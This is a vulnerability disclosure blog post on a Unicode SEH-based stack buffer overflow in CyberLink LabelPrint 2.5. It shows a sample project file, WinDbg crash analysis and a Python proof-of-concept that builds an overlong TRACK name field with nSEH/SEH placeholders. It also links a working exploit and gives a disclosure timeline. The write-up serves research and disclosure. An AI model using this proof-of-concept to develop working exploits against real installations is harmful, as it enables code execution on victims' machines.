Unicode Stack-based Buffer Overflow on CyberLink LabelPrint 2.5

It’s been a while since the last post about exploitation on this blog. This time, we try to explain a stack based overflow on a software called Cyberlink LabelPrint. The software serves as a tool to assist in designing labels for CD / DVD covers. Cyberlink LabelPrint is included in the installation of Cyberlink Power2Go, PowerDVD, and Power Producer software and also pre-installed in the latest laptop by Lenovo, HP, and Asus.
Cyberlink products have a job save function with their own format and this kind of file type can only be read by the related products only. Project files generated by this product are usually saved in the form of an XML format. Learning from the previous findings, each tag in this file has user input, for example:

<PROJECT version="1.0.00">
    <APPLICATION step="4"/>
    <PRINTER default="Microsoft Print to PDF" x_offset="0" lightscribe_drive_index="18446744073709551615" lightscribe_drive_path="0" y_offset="0" copy="1" target_label="1" outline="0" hidetrack="0" lightscribe_print_quality="0" lightscribe_label_mode="0"/>
    <PROFILE printout="FRONT_COVER" paper="Plain paper (Letter)" layout="Cover_2Column" background="C:\Program Files (x86)\CyberLink\LabelPrint\backgrounds\FrontBooklet_circle.jpg" stretch="STRETCH"/>
    <FONT>
        <TITLE point_size="0" bold="TRUE" italic="FALSE" underline="FALSE" strikeout="FALSE" shadow="TRUE" color="#000000" face="Microsoft Sans Serif" font_height="20" alignment="6" face_enabled="TRUE" border_enabled="FALSE" shadow_color="#000000" border_color="#000000"/>
        <CONTENT point_size="0" bold="FALSE" italic="FALSE" underline="FALSE" strikeout="FALSE" shadow="FALSE" color="#000000" face="" font_height="0" alignment="0" face_enabled="FALSE" border_enabled="FALSE" shadow_color="#000000" border_color="#000000"/>
    </FONT>
    <INFORMATION title="Test Title" author="Test Author" date="8/5/2017" SystemTime="05/08/2017">
        <TRACK name="Track 1" artist="Various Artist" length="03:45"/>
    </INFORMATION>
    <LAYOUT version="1.0">
        <CONTENT loading="BALANCED" break="BY_ROW" row_spacing="0">
            <FIELD type="NUMBER" width="600" right_spacing="300" fixed_width="true"/>
            <FIELD type="SONG" width="4000" right_spacing="0" fixed_width="true"/>
            <TEXT angle="0" default="" curving="STRAIGHT"/>
            <MARGIN left="0" top="0" right="0" bottom="0" line_spacing="40"/>
            <BOUNDARY hole="IGNORE" edge="IGNORE"/>
            <BOUNDBOX left="700" top="3304" width="4800" height="568" z_order="0" align="LEFT" valign="TOP"/>
            <FONT point_size="0" bold="false" italic="true" underline="false" strikeout="false" shadow="false" face="Microsoft Sans Serif" color="0x000000" font_height="8" alignment="6" face_enabled="true" border_enabled="false" shadow_color="0x000000" border_color="0x000000"/>
            <BOUNDBOX left="6300" top="3304" width="1" height="1" z_order="1" align="LEFT" valign="TOP"/>
            <FONT point_size="0" bold="false" italic="true" underline="false" strikeout="false" shadow="false" face="Microsoft Sans Serif" color="0x000000" font_height="8" alignment="6" face_enabled="true" border_enabled="false" shadow_color="0x000000" border_color="0x000000"/>
        </CONTENT>
<CAPTION type="TITLE">
            <BOUNDBOX left="1600" top="1300" width="8200" height="1200" z_order="2" align="" valign="CENTER"/>
            <FONT point_size="0" bold="true" italic="false" underline="false" strikeout="false" shadow="true" face="Microsoft Sans Serif" color="0x000000" font_height="20" alignment="6" face_enabled="true" border_enabled="false" shadow_color="0x000000" border_color="0x000000"/>
            <TEXT angle="0" default="Test Title" curving="STRAIGHT"/>
            <MARGIN left="0" top="0" right="0" bottom="0" line_spacing="100"/>
            <BOUNDARY hole="IGNORE" edge="IGNORE"/>
        </CAPTION>
    </LAYOUT>
</PROJECT>

The Crash

We notice that the INFORMATION tag above (line 9,10,11) contains user’s input and has name parameter. If we change the name value inside the INFORMATION tag with a long string like this:


And then save it as a new file (mine is test.lpp). Load it the modified project file with Cyberlink LabelPrint, we got this:
2017-09-19_16-20-57
The program crashed.
In order to examine this, I already setup procdump to dump the crash and make us easier to examine the crash. You can  setup the procdump using this command:

C:\sysinternalsuite\procdump -ma -i C:\crashdump

(Note: you need to create the folder C:\crashdump first.)

Examine the Crash using Windbg

We load the dump file using Windbg and examine further.

This dump file has an exception of interest stored in it. The stored exception
information can be accessed via .ecxr. (140.3b4): Access violation - code
c0000005 (first/second chance not available) eax=00000000 ebx=00000000
ecx=00190000 edx=06aa3f5c esi=00000000 edi=07670000 eip=77aeceec esp=0018d6b0
ebp=0018db10 iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b
fs=0053 gs=002b efl=00200212 ntdll!NtWaitForMultipleObjects+0xc: 77aeceec c21400
ret 14h

Debugger catch the exception at this module ntdll!ZwWaitForMultipleObjects+0xc but we need to see what really happened. Since this is an exception, we can go directly to examine the Structure Exception Handler (SEH)

0:000> !exchain
0018db00: ntdll!_except_handler4+0 (77b4d6a0)
 CRT scope 0, func: ntdll!RtlReportExceptionEx+438 (77b6bfdf)
0018e0f8: *** ERROR: Module load completed but symbols could not be loaded for LabelPrint.exe
LabelPrint+8b218 (0048b218)
0018ee3c: LabelPrint+10041 (00410041)
Invalid exception stack at 00410041

In the !exchain command result above, we can see that the exception handler was overwritten with our supplied input (AAAAA…AA, note that A is 41 in hex). This indicates that the stack was overflowed as well. And then, we notice this:

Invalid exception stack at 00410041

Our supplied input (AAAAA..AA) is transformed to 00410041 (00A00A). So, base on this info, we can conclude:

  • This is stack based overflow condition
  • The SEH is overwritten, so the approach of our code execution will be SEH based approach
  • Our supplied input is transformed to 00410041, so the exploit development must use the unicode jutsu technique in order to accomplish this.

After further research, these parameters are also affected:

  • author (inside the INFORMATION tag)
  • artist (inside the TRACK tag)
  • default (inside the TEXT tag)

Proof of Concept

Below is the proof of concept script that we use to build the exploit, have fun!

#!/usr/bin/python
#
# Tested on Windows 7 SP1 (x86,x64)
# Tested on Windows 8.1 (x86,x64)
# Tested on Windows 10 Pro version 1703 (x86,x64)
#
header = ("\x3c\x50\x52\x4f\x4a\x45\x43\x54\x20\x76\x65\x72\x73\x69\x6f\x6e"
"\x3d\x22\x31\x2e\x30\x2e\x30\x30\x22\x3e\x0a\x09\x3c\x49\x4e\x46"
"\x4f\x52\x4d\x41\x54\x49\x4f\x4e\x20\x74\x69\x74\x6c\x65\x3d\x22"
"\x22\x20\x61\x75\x74\x68\x6f\x72\x3d\x22\x22\x20\x64\x61\x74\x65"
"\x3d\x22\x37\x2f\x32\x34\x2f\x32\x30\x31\x37\x22\x20\x53\x79\x73"
"\x74\x65\x6d\x54\x69\x6d\x65\x3d\x22\x32\x34\x2f\x30\x37\x2f\x32"
"\x30\x31\x37\x22\x3e")
filename = "fuzz.lpp"
f = open(filename,'w')
junk = "A" * 790
nseh = "\x42\x42"
seh = "\x43\x43"
sisa =  "\x44" * (5000-len(junk+nseh+seh))
payload = junk+nseh+seh+sisa
bug="\x09\x09\x3c\x54\x52\x41\x43\x4b\x20\x6e\x61\x6d\x65\x3d"+'"'+payload+'"'+"/>\n"
bug+=("\x09\x3c\x2f\x49\x4e\x46\x4f\x52\x4d\x41\x54\x49\x4f\x4e\x3e\x0a"
"\x3c\x2f\x50\x52\x4f\x4a\x45\x43\x54\x3e")
f.write(header+ "\n" + bug)
print "<--CyberLink LabelPrint "
print "[*] by f3ci & modpr0be "
print "[*] \n"
print "[+] File", filename, "successfully created!"
print "[*] Now open project file", filename2, "with CyberLink LabelPrint."
print "[*] Good luck ;)"
f.close()

 
2017-09-19_16-13-00

Working Exploit

https://github.com/modpr0be/exploit-dev/blob/master/exploit-repo/cyberlink-labelprint/labelprint_poc_universal.py

Impact (CVSSv3)

CVSS Severity (version 3.0):

CVSS v3 Base Score: 7.7 High
Vector: CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H (legend)
Impact Score: 6.0
Exploitability Score: 1.0

CVSS Version 3 Metrics:

Attack Vector (AV): Local
Attack Complexity (AC): High
Privileges Required (PR): None
User Interaction (UI): Required
Scope (S): Changed
Confidentiality (C): High
Integrity (I): High
Availability (A): High
Based on Common Vulnerability Scoring System (CVSS) version 3 calculator provided by National Vulnerability Database (NVD)

Aftermath

We contacted Cyberlink support and they think this is not an issue on their product function. Well.. anyway, here is the log:

July 31, 2017 Initial contact with CyberLink support
August 01, 2017 Vulnerability acknowledged and forwarded to engineer team for further analysis and investigation
August 05, 2017 Notify CERT/CC for the vulnerability.
August 20, 2017 Convincing the engineer team that the vulnerability will affect the operating system. Proof of concept sent for further investigation.
August 31, 2017 CyberLink team told that will include the fixing in the next product release, but the date will be kept confidential.

References

https://www.exploit-db.com/exploits/42777/

modpr0be
modpr0be

Posisi saya saat ini sebagai direktur dan pemilik PT Spentera, sebuah perusahaan yang fokus dalam bidang penetration test, incident response, intrusion analysis and forensic investigation.

Saya juga berkontribusi untuk repositori eksploit Metasploit Framework sebagai pengembang kode eksploit. Saat ini memegang sertifikasi dari Offensive Security Certified Professional (OSCP), Offensive Security Certified Expert (OSCE), ISO/IEC ISMS 27001: 2013 Lead Auditor/Auditor, GIAC Certified Intrusion Analyst (GCIA), dan Offensive Security Exploitation Expert (OSEE).

Jika ingin menghubungi saya dapat melalui email bisnis di tom at spentera dot id atau pribadi di me at modpr0 dot be

Articles: 64

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.